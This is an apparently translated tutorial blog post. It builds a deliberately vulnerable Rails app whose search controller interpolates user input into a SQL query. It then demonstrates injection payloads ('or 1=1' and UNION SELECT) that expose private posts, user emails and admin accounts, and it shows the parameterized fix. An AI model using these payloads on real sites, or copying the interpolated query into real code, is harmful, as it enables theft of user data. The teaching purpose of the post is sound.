Preamble
SQL injection is a security vulnerability that allows hackers to access personal information in the database. This could reveal user information such as email, address, phone number, or as sensitive as credit card information. Most frameworks have methods to prevent this, but this security hole can still happen if the programmer is not careful. The best way to avoid this is to understand it, to know how to attack a website with SQL Injection. Let’s learn SQL Injection in Rails application
This article consists of 3 parts
- Concept of SQL Injection
- Develop a website using Rails
- Attack websites with SQL Injection
1. Concept of SQL Injection
What is SQL Injection?
SQL injection is to insert an SQL query into an input field that is run directly to the database. This is allowed when an application interferes with a user input into an SQL query on the back end. For example, the following code snippet returns the posts corresponding to the user’s query
1 2 | Post.where("title = '#{query}' and private = false") |
When the user enters the input field with the text “Wine Food Pairings”, the following SQL statement will be executed and no problem will occur.
1 2 | SELECT "posts".* FROM "posts" WHERE (title = 'Wine Food Pairings' and private = false) |
But when the user enters the input field the content Wine Food Pairings' or 1=1) -- , the following SQL is executed.
1 2 | SELECT "posts".* FROM "posts" WHERE (title = 'Wine Food Pairings' or 1=1) -- and private = false) |
And what’s the problem here? The after-character query -- will not be executed ( -- will define a comment in SQL) and records (here are posts) with a private field with a value of true will still be queried. The code below will prevent this.
1 2 | Post.where("title = ? and private = false", title) |
This is a prime example of a security vulnerability attack with SQL Injection. We will explore other cases through the following section
2. Create a website using Rails
In this section we will create a website that will then attack this website with SQL Injection.
Create a new project
This part I will talk briefly. In the terminal, write the following commands
1 2 3 4 | $ rails new hackerapp $ cd hackerapp $ sudo bundle install |
This project alone will add 2 gem quite familiar gem 'pg' và gem 'devise' . In the file named Gemfile add the following two lines
1 2 3 | gem 'pg' gem 'devise' |
Then use the command $ sudo bundle install to install the two gems above. Then we create the database with the command $ rails db:create
Added loggin function
Here we will use the gem 'devise' just added in the above step. To install, we use the command $ rails generate devise:install In Rails, a model is a class . Ruby maps to a database table and simplifies the implementation of DB transation through its ORM, Active Record. Use the loggin function with the user model with the following command:
1 2 | $ rails generate devise user |
Create a loggin screen with the command
1 2 | $ rails generate devise:views users |
Add the required fields for the user model First create the migration file
1 2 | $ rails g migration AddAdminToUsers |
In the /db/migrate/ there will be a file named add_admin_to_user.rb . In this file we add the following code:
1 2 3 4 5 6 7 | class AddAdminToUsers < ActiveRecord::Migration[5.2] def change add_column :users, :admin, :boolean, default: false add_column :users, :address, :string, default: '' end end |
Then use the command $ rails db:migrate . This will add these two columns to the user table in the database.
Add the Post model
For the post model we will need the basic CRUD actions. The following command will create the post model along with the controller with the corresponding CRUD actions as well as the corresponding CRUD screens
1 2 3 | $ rails g scaffold Post title:string content:string $ rails db:migrate |
In the /config/routes.rb directory add the root 'posts#index' so that our site will default to the post model’s index page. The routes.rb file will have the following content:
1 2 3 4 5 6 7 | Rails.application.routes.draw do resources :posts devise_for :users root 'posts#index' end |
Now restart the server and go to the path http://localhost:3000/ and the web page will display the index page of the post model.
On this screen make a few records to see if the CRUD function works or not.
Above we have added user authentication with the Devise gem but need to add some code to be able to display more information that we are logged in or not. In the file /app/views/layouts/application.html.erb we will edit as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | <!DOCTYPE html> <html> <head> <title>Hackerapp</title> <%= csrf_meta_tags %> <%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track': 'reload' %> <%= javascript_include_tag 'application', 'data-turbolinks-track': 'reload' %> </head> <body> <% if current_user %> <h3> <%= 'Hi ' + current_user.email %> </h3> <%= link_to "Log out", destroy_user_session_path, method: :delete %> <% else %> <%= link_to "Sign in", new_user_session_path %> <%= link_to "Sign up", new_user_registration_path %> <% end %> <br /> <%= yield %> </body> </html> |
Now click on the “Sign up” section at the top left of the website and create your account. Once registered, your screen will be displayed as shown below
Add one more column to the Posts model by creating another migration file
1 2 | $ rails g migration AddPrivateToPosts |
Then run the command $ rake db:migrate
Add some data to display on your website
Create a file called seed_data.rake in the /lib/task/ . With content
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | task seed_data: :environment do # generate users User.create(email: ' <a class="__cf_email__" href="/cdn-cgi/l/email-protection">[email protected]</a> ', password:'j8943ifjfs', address: '123 Mill Street', admin: true) User.create(email: ' <a class="__cf_email__" href="/cdn-cgi/l/email-protection">[email protected]</a> ', password:'9u9f0f43', address: '7 Fancy Lane', admin: true) User.create(email: ' <a class="__cf_email__" href="/cdn-cgi/l/email-protection">[email protected]</a> ', password:'fjkdfjkg', address: '1 Butterville', admin: false) User.create(email: ' <a class="__cf_email__" href="/cdn-cgi/l/email-protection">[email protected]</a> ', password:'mdnddjnc', address: '55 Bluestreet', admin: false) User.create(email: ' <a class="__cf_email__" href="/cdn-cgi/l/email-protection">[email protected]</a> ', password:'479fjf3', address: '54 Tall Cressant', admin: false) # generate posts Post.create(title: 'My Passwords', content: 'The server password is 12345678', private:true) Post.create(title: 'Employee Directory', content: '...', private:true) Post.create(title: 'Types of Cheese', content: 'Brie, Cheddar, Moz...', private:false) Post.create(title: 'Wine Food Pairings 1', content: 'White wine goes with...', private:false) Post.create(title: 'Wine Food Pairings 2', content: 'Red wine goes with...', private:false) Post.create(title: 'WFH Best Habits', content: 'Dont go on facebook...', private:false) Post.create(title: 'Dog Names', content: 'Ruff, Woof, Bark...', private:false) end |
Run the command $ rake seed_data to create records into the DB Now our website is ready to use features such as login, logout, CRUD with the Posts model.
Add search feature
Now, we will create a search form to retrieve the posts displayed. This will be where we will attack with SQL Injection. In the file app/views/posts/index.html.erb we add below the line <h1>Posts</h1> the following code:
1 2 3 4 5 6 7 | <hr /> <%= form_tag posts_path, method: :get do %> <%= text_field_tag name="post[query]", '', size:100 %> <%= submit_tag 'Filter' %> <% end %> <hr /> |
This code will allow us to enter data to search for posts . Then in controller /app/controllers/posts_controller.rb we will add logic handling the input values from the search form to get the corresponding posts
1 2 3 4 5 6 7 8 9 10 | def index query = params[:post][:query] if params.include?("post") if query && !query.empty? @posts = Post.where("title = '#{query}' and private = false") else @posts = Post.where(private: false) end end |
3. Attacking the website with SQL Injection
It’s a bit verbose, but now comes the main part of this article. After successfully creating the website with basic functions and creating some sample data, after logging in, our website will display as shown below.
Here only posts with public status (private = false) will be displayed (index function with query @posts = Post.where("title = '#{query}' and private = false") ) let’s explore some security errors (SQL Injection) that this site is facing
1. Get private posts
Here is an example from the introduction. Enter the following in the search box Wine Food Pairings' or 1=1) --
The -- sign has blocked the private = false query in the query we wrote at the controller. This executed the query:
1 2 | Post Load (0.3ms) SELECT "posts".* FROM "posts" WHERE (title = 'Wine Food Pairings' or 1=1) --' and private = false) |
As mentioned above, the -- sign is a syntax that defines a comment in the SQL language so the statement private = false will not be executed. This results in our search results like this:
2 posts with title My Passwords and Employee Directory although the value private = true but still displayed in the search results.
2. Get all user emails in the database
The form search we just did is not designed to return a users . But we can still make this happen. Enter the following content in the search form: Cheese') union select 1, email,'', null, null, true from users -- After pressing the Filter button, the following query will be executed:
1 2 | Post Load (0.6ms) SELECT "posts".* FROM "posts" WHERE (title = 'Cheese') union select 1, email,'', null, null, true from users --' and private = false) |
The above input did the onion command to link the posts table and users table and display the users table records. The result will be as follows:
All the users table information is displayed on this screen.
3. Find which users are admins
If we want to know which of these users is admin , we just need to make a little modification in the input content. Input: Cheese') union select 1,email,'', null, null, true from users where admin = true -- The following query will be executed:
1 2 | Post Load (0.6ms) SELECT "posts".* FROM "posts" WHERE (title = 'Cheese') union select 1,email,'', null, null, true from users where admin = true --' and private = false) |
And return the following result:
As a bad person, hijacking a site’s admin privileges is dangerous. They can retrieve all information of the user such as email, phone number or other sensitive information that only the admin can know.
4. Summary
This article is not intended to teach you how to hack web applications. The article shows you how SQL injection works and the damage that the security error can do to know how to avoid it, and don’t write careless code that causes unnecessary damage.
The article has many shortcomings, hope everyone understands. Thanks to everyone who read my post,